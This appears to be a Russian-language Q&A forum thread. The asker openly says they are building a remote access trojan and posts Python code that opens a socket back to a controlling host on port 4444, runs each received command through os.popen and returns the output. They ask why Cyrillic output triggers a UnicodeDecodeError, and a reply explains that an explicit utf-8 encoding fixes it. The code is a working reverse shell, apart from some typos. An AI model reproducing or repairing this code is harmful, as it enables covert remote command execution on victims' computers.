@Wilde_Forox

Как исправить ошибку «UnicodeDecodeError: 'ascii' codec can't decode 0x92 in position 1: ordinal not in range(128)»?

Проблема, которая возникает при запуске кода (возникает только на windows, на кали все норм):

UnicodeDecodeError: 'ascii' codec can't decode 0x92 in position 1: ordinal not in range(128)

Непосредственно код:

import socket
Import os
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("192.16...", 4444))
def execute_system_command(command):
output = os.popen(command).read()
return output
while True:
data = connection.recv(1024).decode()
output = execute_system_command(str(data))
if len(output) == 0:
connection.send(" ").encode())
else:
connection.send(output.encode())

connection.close

Пытаюсь сделать RATник, то есть отправляю команду и он должен отослать результат команды, если я пишу dir, то вылазит ошибка, как я понял из-за того, что есть кириллица, а если пишу whoami, то результат отправляется и ошибка не вылазит
В decode вставлял кодировку 'utf-8'.
  • Вопрос задан
  • 65 просмотров
Пригласить эксперта
Ответы на вопрос 1
Vindicar
@Vindicar
RTFM!
Выбери одну кодировку (если всё равно какую, то utf-8) для обмена текстом, и указывай её явно при вызовах encode()/decode(). Иначе по умолчанию только ASCII символы можно будет передать, а кириллицу и прочие весёлые вещи - фиг.
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы